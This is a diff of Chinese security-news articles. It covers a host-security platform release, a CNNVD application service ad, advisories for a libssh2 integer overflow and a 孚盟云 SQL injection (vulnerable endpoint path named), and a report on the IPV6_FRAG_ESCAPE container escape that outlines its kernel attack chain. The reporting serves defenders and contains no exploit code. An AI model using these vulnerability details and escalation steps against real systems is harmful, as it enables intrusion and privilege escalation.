包含完整的平台框架和全部核心安全能力，与内部版本架构一致。社区版完全免费，无需授权即可部署使用。当前已开源的能力主要包括：
|
||||
- **全部端上能力**
|
||||
：Agent 数据采集、资产指纹、eBPF 运行时探针、基线检查插件等；
|
||||
|
||||
- **全部后端能力**
|
||||
：AgentCenter、Manager、Consumer、服务发现，均支持水平扩展；
|
||||
|
||||
- **完整管理控制台**
|
||||
：安全概览、资产中心、告警管理、基线检查、漏洞管理、容器安全等全功能 UI；
|
||||
|
||||
- **内置检测规则**
|
||||
：212 条 CIS 基线规则、80 条容器基线规则、CEL EDR 检测策略样例。
|
||||
|
||||
## 功能概览
|
||||
|
||||
<table><thead><tr><th data-colwidth="155" style="color: rgb(66, 75, 93);font-size: 13px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><section><span leaf="">模块</span></section></th><th style="color: rgb(66, 75, 93);font-size: 13px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><section><span leaf="">说明</span></section></th></tr></thead><tbody><tr style="color: rgb(66, 75, 93);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td data-colwidth="155" style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><section><span leaf=""><span textstyle="" style="font-size: 14px;">安全基线</span></span></section></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><section><span leaf=""><span textstyle="" style="font-size: 14px;">9 种检查器、212 条规则，覆盖 CIS Benchmark 核心项，支持单机/批量自动修复</span></span></section></td></tr><tr style="color: rgb(66, 75, 93);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td data-colwidth="155" style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><section><span leaf=""><span textstyle="" style="font-size: 14px;">资产中心</span></span></section></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><section><span leaf=""><span textstyle="" style="font-size: 14px;">11 类资产采集（进程、端口、用户、软件包、容器等），关系计算与资产导出</span></span></section></td></tr><tr style="color: rgb(66, 75, 93);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td data-colwidth="155" style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-widthLine truncated
|
||||
## 产品截图
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## 工具获取
|
||||
|
||||
|
||||
|
||||
点击关注下方名片
|
||||
进入公众号
|
||||
|
||||
回复关键字【
|
||||
260630
|
||||
】获取
|
||||
下载链接
|
||||
|
||||
|
||||
## 往期精彩
|
||||
|
||||
|
||||
[一款针对Spring漏洞框架进行快速利用的图形化工具2026-06-29](https://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247497150&idx=1&sn=7c61498269bf756cb7458a57f4b0c830&scene=21#wechat_redirect)
|
||||
[Cybersparker 攻击面管理利用系统2026-06-26](https://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247497140&idx=1&sn=a7a4a46aa3ac30c9fa272db02d9be953&scene=21#wechat_redirect)
|
||||
[LLM SecRange · 大模型攻防渗透测试靶场2026-06-25](https://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247497129&idx=1&sn=d3dd59233be71fa4c0d3ed5743399f42&scene=21#wechat_redirect)
|
||||
[AI赋能！一个面向 Windows 主机应急响应场景的轻量化图形客户端2026-06-24](https://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247497117&idx=1&sn=fc03d0dca0f45a9b05098f2e7f6369b9&scene=21#wechat_redirect)
|
||||
[OpenCode CNVD 多 Agent 插件 | 用于授权场景下的 CNVD 漏洞挖掘2026-06-23](https://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247497103&idx=1&sn=6f70d409f0a09b65704ae3c5ad0ec1b2&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,140 @@
|
||||
# 成为CNNVD漏洞库支撑单位，助力网络安全！申请全流程解读，专业团队助您高效通过
|
||||
原创 聚焦网络安全情报
|
||||
聚焦网络安全情报 安全聚 2026-06-30 02:52
|
||||
|
||||
|
||||
|
||||
|
||||
****
|
||||
****
|
||||
|
||||
|
||||
网络安全已成为国家战略的重要组成部分，作为国内权威漏洞信息管理平台，CNNVD（中国国家信息安全漏洞库）支撑单位的资质认证，是企业技术实力与行业影响力的重要体现。如果您希望快速掌握申请流程、高效完成资质申报，本文将为您详细解读，并提供专业服务支持！
|
||||
|
||||
|
||||
**01 CNNVD支撑单位价值**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
权威背书：
|
||||
纳入国家漏洞库合作体系，提升企业行业公信力；
|
||||
|
||||
技术认可：
|
||||
体现漏洞挖掘、分析、处置能力，增强客户信任；
|
||||
|
||||
政策红利：
|
||||
参与投标网络安全项目加分，拓展业务合作机遇；
|
||||
|
||||
品牌曝光：
|
||||
通过CNNVD官网、会议等渠道展示企业实力。
|
||||
|
||||
|
||||
**02 申请流程详解（核心步骤）**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
阶段一：战略筹备期
|
||||
|
||||
对《CNNVD技术支撑单位计划指南》完成分析
|
||||
|
||||
✅ 申请单位的基本情况
|
||||
|
||||
✅ 组织结构
|
||||
|
||||
✅ 人员情况
|
||||
|
||||
✅ 技术能力
|
||||
|
||||
✅ 与CNNVD和测评中心的合作情况
|
||||
|
||||
✅ 针对支撑要求的工作规划
|
||||
|
||||
专业建议：
|
||||
需提前6个月布局漏洞提交记录，确保考察期贡献密度达标。
|
||||
|
||||
阶段二：贡献考察期（3-6个月）
|
||||
|
||||
漏洞质量管控：
|
||||
报送原创通用漏洞，重点提交中高危漏洞
|
||||
|
||||
安全预警：
|
||||
报送预警报告（含POC验证、影响面评估、修复方案）
|
||||
|
||||
协作效能提升：
|
||||
建立与CNNVD的应急响应，同步漏洞处置进展
|
||||
|
||||
|
||||
阶段三：专家评审协议签定
|
||||
|
||||
考察期结束后，CNNVD将召开技术支撑单位申请专家评审会，审核结果将通知申请单位。通过审核的单位将签订支撑单位合作协议。协议签订后，
|
||||
CNNVD将向技术支撑单位颁发有效期为一年的证书。
|
||||
|
||||
**03 团队服务优势**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
✅ 精准预评估：免费预审企业资质，明确优化方向；
|
||||
|
||||
✅ 材料专业化：资深团队定制申报方案，突出技术亮点；
|
||||
|
||||
✅ 全流程办理：从资料整理到申报跟进，省心高效；
|
||||
|
||||
✅ 高通过率保障：熟悉申请流程，确保每个申请能够顺利下证。
|
||||
|
||||
团队可通过现场或远程培训与指导，协助企业在规定时间内顺利完成支撑单位申请。
|
||||
|
||||
|
||||
**04 联系我们**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**END**
|
||||
|
||||
|
||||
|
||||
**HISTORY**
|
||||
|
||||
/
|
||||
|
||||
**往期推荐**
|
||||
|
||||
[【漏洞预警 | 已复现】FOGPROJECT 文件名命令注入漏洞（CVE-2024-39914）](http://mp.weixin.qq.com/s?__biz=MzkyNzQzNDI5OQ==&mid=2247486405&idx=1&sn=dfa7ce2bc783c81365d21815a76f39c7&chksm=c2295891f55ed187a1c520ff138341f0545969a30a8bd8b57fb8c3182e68a6cac2b42f0db546&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[【漏洞预警 | 已复现】Apache OFBiz远程代码执行漏洞（CVE-2024-38856）](https://mp.weixin.qq.com/s?__biz=MzkyNzQzNDI5OQ==&mid=2247486484&idx=1&sn=3e0f106d2ce17f16075690444c6ad16d&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
[【漏洞预警 | 已复现】Splunk Enterprise 未授权任意文件读取漏洞（CVE-2024-36991）](http://mp.weixin.qq.com/s?__biz=MzkyNzQzNDI5OQ==&mid=2247486420&idx=3&sn=3bd4ad9b9aa9e27629eef92cc1a0e00e&chksm=c2295880f55ed1964f7229ce709929430b9a56882028fa882a69bca86e0c0bac01fde5de06bb&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[【漏洞预警 | 已复现】Rejetto HTTP File Server 模板注入漏洞（CVE-2024-23692）](http://mp.weixin.qq.com/s?__biz=MzkyNzQzNDI5OQ==&mid=2247486420&idx=2&sn=6c8f1e5428b1c3713ad1aa32231c1de8&chksm=c2295880f55ed1961e9c9e36cc89c9e1c4377ce7b755e3c85b5475fc8a97dcfbe0d68db96264&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,44 @@
|
||||
# 漏洞预警 | libssh2整数溢出漏洞
|
||||
浅安
|
||||
浅安 浅安安全 2026-06-30 00:00
|
||||
|
||||
**0x00 漏洞编号**
|
||||
- # CVE-2026-55200
|
||||
|
||||
**0x01 危险等级**
|
||||
- 高危
|
||||
|
||||
**0x02 漏洞概述**
|
||||
|
||||
libssh2是使用最广泛的SSH客户端C库之一，被大量主流工具直接或间接依赖。
|
||||
|
||||
|
||||
|
||||
**0x03 漏洞详情**
|
||||
|
||||
**CVE-2026-55200**
|
||||
|
||||
**漏洞类型：**
|
||||
整数溢出
|
||||
|
||||
**影响：**
|
||||
执
|
||||
行任意代码
|
||||
|
||||
**简述：**
|
||||
libssh2存在整数溢出漏洞，由于其ssh2_transport_read()函数未能正确验证传入SSH数据包的packet_length字段，攻击者可提供过大的packet_length值，触发整数溢出并导致堆越界写入，从未获取代码执行权限。
|
||||
|
||||
**0x04 影响版本**
|
||||
- libssh2 <= 1.11.1
|
||||
|
||||
**0x05****POC状态**
|
||||
- 已公开
|
||||
|
||||
**0x06****修复建议**
|
||||
|
||||
**目前官方已发布漏洞修复版本，建议用户升级到安全版本****：**
|
||||
|
||||
https://libssh2.org/
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# 漏洞预警 | 孚盟云SQL注入漏洞
|
||||
浅安
|
||||
浅安 浅安安全 2026-06-22 23:50
|
||||
浅安 浅安安全 2026-06-30 00:00
|
||||
|
||||
**0x00 漏洞编号**
|
||||
- # 暂无
|
||||
@@ -24,7 +24,7 @@ SQL注入
|
||||
|
||||
**简述：**
|
||||
孚盟云的
|
||||
/m/Dingding/Product/ProductDetail.aspx
|
||||
/m/Dingding/Provider/ProviderList.aspx
|
||||
接口存在SQL注入漏洞，未经验证的攻击者可通过该漏洞获取数据库敏感信息。
|
||||
|
||||
**0x04 影响版本**
|
||||
|
||||
@@ -0,0 +1,54 @@
|
||||
# 针对 RHEL 10 上 IPV6_FRAG_ESCAPE 漏洞的公开 PoC 与利用细节已发布
|
||||
sec随谈
|
||||
sec随谈 sec随谈 2026-06-30 01:33
|
||||
|
||||
**安全研究员 Massimiliano Oldani 发布 IPV6_FRAG_ESCAPE：针对 CentOS 与 RHEL 10 的 IPv6 容器逃逸概念验证**
|
||||
|
||||
安全研究员 Massimiliano Oldani 发布了 IPV6_FRAG_ESCAPE——一个针对 CentOS 和 RHEL 10 的 IPv6 容器逃逸(container escape)的可用概念验证(PoC)。其利用细节和 PoC 代码现已公开。该攻击链能将隔离容器内一个非特权进程,提升为宿主机上的 root shell（最高权限命令行）。
|
||||
|
||||
**摘要**
|
||||
|
||||
IPV6_FRAG_ESCAPE 利用了 Linux 内核中一个现已修复的 IPv6 分片(fragmentation)漏洞。该缺陷位于 __ip6_append_data()
|
||||
函数中,会破坏数据包自身的 skb_shared_info
|
||||
结构。Oldani 公开发布了完整的攻击链,该漏洞未被分配 CVE 编号。
|
||||
|
||||
**这个 IPv6 容器逃逸为何重要**
|
||||
|
||||
容器隔离是一道核心的安全边界,而这个漏洞打破了它。已经能在容器内执行代码的攻击者,可借此触及宿主机的 root 文件系统。
|
||||
|
||||
此外,该 PoC 只需要非特权用户命名空间(unprivileged user namespaces)即可。许多 CentOS 和 RHEL 10 系统默认启用了这一功能。因此,在多租户(multi-tenant)和云主机环境中,其攻击面相当广泛。
|
||||
|
||||
**攻击原理**
|
||||
|
||||
该漏洞是一种 slab 内的线性溢出(in-slab linear overflow)。它会越过数据包缓冲区写入,一直写到位于其尾部的 skb_shared_info
|
||||
结构。
|
||||
|
||||
由此开始,攻击链逐步升级。首先,溢出翻转了一个控制字节,并触发页面释放后使用(page use-after-free)。接着,这个被释放的页面以叶级页表(leaf page table)的形式被重新分配回来,从而实现任意内核读写。最后,该利用程序改写进程凭据(credentials),并滥用 core_pattern
|
||||
机制,在宿主机上生成一个 root shell。
|
||||
|
||||
值得注意的是,Oldani 记录了攻击机制,但保留了触发部分(trigger)未予公开。他的分析报告阐述了原理,却没有提供一个开箱即用的现成攻击武器。
|
||||
|
||||
**测试目标**
|
||||
|
||||
Oldani 在两个构建版本上验证了该逃逸。CentOS Stream 10 运行的是内核 6.12.0-242.el10;RHEL 10 运行的是内核 6.12.0-228.el10。两者最终都获得了宿主机 root 权限。
|
||||
|
||||
**受影响版本**
|
||||
|
||||
该 PoC 针对运行 6.12.x 内核分支的 CentOS 和 RHEL 10。它还需要满足五级分页(5-level paging)以及默认的 init_on_alloc
|
||||
设置。此外,作者指出,其他内核日后可能会被另一种技术攻破。
|
||||
|
||||
**补丁与缓解措施**
|
||||
|
||||
上游(upstream)修复已于 2026 年 6 月 16 日以提交(commit)736b380e28d0 的形式合入。该修复纠正了分页分配路径上的分片运算逻辑。因此,第一步很简单:升级到已打补丁的内核。
|
||||
|
||||
如果无法立即打补丁,应限制非特权用户命名空间。将 user.max_user_namespaces=0
|
||||
设为该值即可阻断已被记录的攻击路径。
|
||||
|
||||
**利用现状**
|
||||
|
||||
由于作者本人公开发布,目前已存在公开的概念验证(PoC)。不过,尚未确认 IPV6_FRAG_ESCAPE 存在任何在野利用(in-the-wild)的情况。尽管如此,防御者仍应尽快打补丁,因为公开代码会降低攻击者的门槛。
|
||||
|
||||
参考链接：
|
||||
|
||||
https://github.com/sgkdev/ipv6_frag_escape
|
||||
|
||||
Reference in new issue
Block a user